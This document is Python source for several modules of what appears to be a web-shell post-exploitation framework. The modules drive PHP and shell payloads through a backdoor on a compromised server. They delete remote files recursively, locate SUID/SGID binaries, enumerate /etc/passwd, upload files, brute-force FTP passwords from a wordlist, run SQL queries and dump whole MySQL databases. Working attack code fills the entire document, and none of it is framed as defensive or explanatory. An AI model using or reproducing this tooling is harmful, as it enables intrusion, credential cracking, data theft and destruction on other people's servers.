class Rm(Module): vectors = VectorList([ Vector( 'shell.php', 'php_rmdir', """ function rmfile($dir) { if (is_dir("$dir")) rmdir("$dir"); else { unlink("$dir"); } } function exists($path) { return (file_exists("$path") || is_link("$path")); } function rrmdir($recurs,$dir) { if($recurs=="1") { if (is_dir("$dir")) { $objects = scandir("$dir"); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($recurs, $dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir("$dir"); } else rmfile("$dir"); } else rmfile("$dir"); } $recurs="%s"; $path="%s"; if(exists("$path")) { rrmdir("$recurs", "$path"); if(!exists("$path")) echo("OK"); }"""), Vector('shell.sh', 'rm', "rm %s %s && echo OK") ]) params = ParametersList( 'Remove remote file and directory', vectors, P(arg='rpath', help='Remote path', required=True, pos=0), P(arg='recursive', help='Recursion', default=False, type=bool, pos=1), ) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, rpath, recursive): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [rpath, recursive]) if 'OK' in response: self.params.set_and_check_parameters({'vector': vector.name}) return True recursive_output = '' if not recursive: recursive_output = ' and use \'recursive\' with unempty folders' raise ModuleException( self.name, "Delete fail, check existance and permissions%s." % (recursive_output)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): rpath = parameters[0] recursive = parameters[1] if vector.interpreter == 'shell.sh' and recursive: recursive = '-rf' elif vector.interpreter == 'shell.php' and recursive: recursive = '1' else: recursive = '' return vector.payloads[0] % (recursive, rpath)
class Suidsgid(Module): '''Find files with superuser flags''' vectors = VectorList([ V('shell.sh', "find" , "find %s %s 2>/dev/null") ]) params = ParametersList('Find files with suid and sgid flags', vectors, P(arg='type', help='Suid, sgid or both', choices=['suid','sgid', 'any'], default='any', pos=0), P(arg='rpath', help='Remote starting path', default='.', pos=1) ) visible = True def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, type, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [type, path]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run({0 : payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): mod = parameters[0] path = parameters[1] if vector.interpreter == 'shell.sh': if mod == 'any': mod = '-perm -04000 -o -perm -02000' elif mod == 'suid': mod = '-perm -04000' elif mod == 'sgid': mod = '-perm -02000' return vector.payloads[0] % (path, mod)
class EtcPasswd(Module): """Enumerate users and /etc/passwd content""" vectors = VectorList([ V( 'shell.php', 'posix_getpwuid', "for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).\'\n\'; }" ), V('shell.sh', 'cat', "cat %s"), V('file.read', 'fileread', "%s") ]) params = ParametersList( 'Enumerate users in /etc/passwd content', vectors, P(arg='filter', help='Try to show real users only', default=False, type=bool, pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.usersinfo = {} def run_module(self, filter_real_users): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [filter_real_users]) if response != None: return response raise ModuleException(self.name, "Users enumeration failed") def __execute_payload(self, vector, parameters): filter_real_users = parameters[0] payload = self.__prepare_payload(vector, []) response = self.modhandler.load(vector.interpreter).run({0: payload}) pwdfile = '' if response: response_splitted = response.split('\n') if response_splitted and response_splitted[0].count(':') >= 6: self.params.set_and_check_parameters({'vector': vector.name}) for line in response_splitted: if line: user = User(line) if filter_real_users: if (user.uid == 0) or (user.uid > 999) or ( ('false' not in user.shell) and ('/home/' in user.home)): pwdfile += line + '\n' self.usersinfo[user.name] = user else: pwdfile += line + '\n' self.usersinfo[user.name] = user return pwdfile def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == 1: return vector.payloads[0] % ('/etc/passwd') else: return vector.payloads[0]
class Upload(Module): '''Upload binary/ascii file to the target filesystem''' vectors = VectorList([ Vector('shell.php', 'file_put_contents', "file_put_contents('%s', base64_decode($_POST['%s']));"), Vector( 'shell.php', 'fwrite', '$h = fopen("%s", "w"); fwrite($h, base64_decode($_POST["%s"]));') ]) params = ParametersList( 'Upload a file to the target filesystem', vectors, P(arg='lpath', help='Local file path', required=True, pos=0), P(arg='rpath', help='Remote path', required=True, pos=1)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.file_content = None self.rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) def __execute_payload(self, vector, parameters): file_encoded_content = parameters[0] file_local_md5 = parameters[1] remote_path = parameters[2] payload = vector.payloads[0] % (remote_path, self.rand_post_name) self.modhandler.load(vector.interpreter).set_post_data( {self.rand_post_name: file_encoded_content}) self.modhandler.load(vector.interpreter).run({0: payload}) file_remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if file_remote_md5 == file_local_md5: self.mprint('[%s] File \'%s\' uploaded.' % (self.name, remote_path)) return True else: file_exists = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }) if file_exists: self.mprint( '[!] [%s] MD5 hash of \'%s\' file mismatch, file corrupted.' % (self.name, remote_path)) else: self.mprint( '[!] [%s] File \'%s\' creation failed, check remote path and permissions.' % (self.name, remote_path)) def set_file_content(self, content): """Cleaned after use""" self.file_content = content def run_module(self, local_path, remote_path): if not self.file_content: try: local_file = open(local_path, 'r') except Exception, e: raise ModuleException(self.name, "Open file '%s' failed" % (local_path)) file_content = local_file.read() else:
class Ftp(Module): '''Bruteforce ftp user''' vectors = VectorList([ Vector('shell.php', 'brute_ftp_php', [ """$h="%s"; $p="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { $c=@ftp_connect($h, $p); if($c){ $l=@ftp_login($c,$u,$pwd); if($l) { print("+" . $u . ":" . $pwd . "\n"); break; } } } """, """$h="%s"; $p="%s"; $c=@ftp_connect($h, $p); if($c) { print(1); }""" ]) ]) params = ParametersList( 'Bruteforce single ftp user using local wordlist', vectors, P(arg='user', help='User to bruteforce', required=True, pos=0), P(arg='lpath', help='Path of local wordlist', required=True, pos=1), P(arg='sline', help='Start line of local wordlist', default='all', pos=2), P(arg='host', help='FTP host', default='127.0.0.1', pos=3), P(arg='port', help='FTP port', default=21, type=int, pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, user, filename, start_line, host, port, substitutive_wl=[]): if start_line == 'all': start_line = 0 if host not in ('localhost', '127.0.0.1'): self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [host, port, user, rand_post_name, start_line, wl_splitted]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response
class Query(Module): '''Execute SQL query ''' vectors = VectorList([ Vector('shell.php', 'php_fetch', [ """ $c="%s"; $q="%s"; $f="%s"; if(@$c("%s","%s","%s")){ $result = $q("%s"); while (list($table) = $f($result)) { echo $table."\n"; } mysql_close(); }""", """ $c="%s"; $q="%s"; $f="%s"; $h="%s"; $u="%s"; $p="%s"; $result = $q("%s"); if($result) { while (list($table) = $f($result)) { echo $table."\n"; } } mysql_close(); """ ]) ]) params = ParametersList( 'Execute SQL query', vectors, P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='query', help='SQL query', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def run_module(self, mode, user, pwd, query, host): if mode == 'mysql': sql_connect = "mysql_connect" sql_query = "mysql_query" sql_fetch = "mysql_fetch_row" else: sql_connect = "pg_connect" sql_query = "pg_query" sql_fetch = "pg_fetch_row" vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [sql_connect, sql_query, sql_fetch, host, user, pwd, query]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response self.mprint( '[%s] No response, check credentials and dbms availability.' % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) response = self.modhandler.load(vector.interpreter).run({0: payload}) if not response: payload = self.__prepare_payload(vector, parameters, 1) response = self.modhandler.load(vector.interpreter).run( {0: payload}) if response: self.mprint( "[%s] Error connecting to '%s:%s@%s', using default (query 'SELECT USER();' to print out)" % (self.name, parameters[3], parameters[4], parameters[5]), 3) return response else: return response return None def __prepare_payload(self, vector, parameters, payloadnum=0): if vector.payloads[payloadnum].count('%s') == len(parameters): return vector.payloads[payloadnum] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Dump(Module): '''Get SQL database dump :sql.dump mysql <host> <user> <pass> <db name> <table name>|any ''' vectors = VectorList( [ Vector('shell.sh', 'mysqldump', "mysqldump -h %s -u %s --password=%s %s %s") , Vector('shell.php', 'mysqlphpdump', """ function dmp ($table) { $result .= "-- -------- TABLE '$table' ----------\n"; $query = mysql_query("SELECT * FROM ".$table); $numrow = mysql_num_rows($query); $numfields = mysql_num_fields($query); print $numrow . " " . $numfields; if ($numrow > 0) { $result .= "INSERT INTO `".$table."` ("; $i = 0; for($k=0; $k<$numfields; $k++ ) { $result .= "`".mysql_field_name($query, $k)."`"; if ($k < ($numfields-1)) $result .= ", "; } $result .= ") VALUES "; while ($row = mysql_fetch_row($query)) { $result .= " ("; for($j=0; $j<$numfields; $j++) { if (mysql_field_type($query, $j) == "string" || mysql_field_type($query, $j) == "timestamp" || mysql_field_type($query, $j) == "time" || mysql_field_type($query, $j) == "datetime" || mysql_field_type($query, $j) == "blob") { $row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); $row[$j] = ereg_replace("\r","",$row[$j]); $result .= "'$row[$j]'"; } else if (is_null($row[$j])) $result .= "NULL"; else $result .= $row[$j]; if ( $j<($numfields-1)) $result .= ", "; } $result .= ")"; $i++; if ($i < $numrow) $result .= ","; else $result .= ";"; $result .= "\n"; } } else $result .= "-- table is empty"; return $result . "\n\n"; } mysql_connect("%s","%s","%s"); $db_name = "%s"; $db_table_name = "%s"; mysql_select_db($db_name); $tableQ = mysql_list_tables ($db_name); $i = 0; while ($i < mysql_num_rows ($tableQ)) { $tb_names[$i] = mysql_tablename ($tableQ, $i); if(($db_table_name == $tb_names[$i]) || $db_table_name == "") { print(dmp($tb_names[$i])); } $i++; }""") ]) params = ParametersList('Get SQL mysqldump-like database dump', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='table', help='Table name to dump (any to dump entire database)', default='any', pos=4), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=5)) def __init__( self, modhandler , url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module( self, mode, user, pwd , db, table, host ): if mode != 'mysql': raise ModuleException(self.name, "Only 'mysql' database is supported so far") vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells + [ 'sql.query' ]) for vector in vectors: response = self.__execute_payload(vector, [mode, host, user, pwd, db, table]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] table = parameters[5] if table == 'any': table = '' self.modhandler.set_verbosity(2) self.structure[db] = {} payload = self.__prepare_payload(vector, [host, user, pwd, db, table]) response = self.modhandler.load(vector.interpreter).run({ 0: payload }) self.modhandler.set_verbosity() if response: return response else: self.mprint('[%s] Error dumping database, no response' % self.name) def __prepare_payload( self, vector, parameters): if vector.payloads[0].count( '%s' ) == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException(self.name, "Error payload parameter number does not corresponds")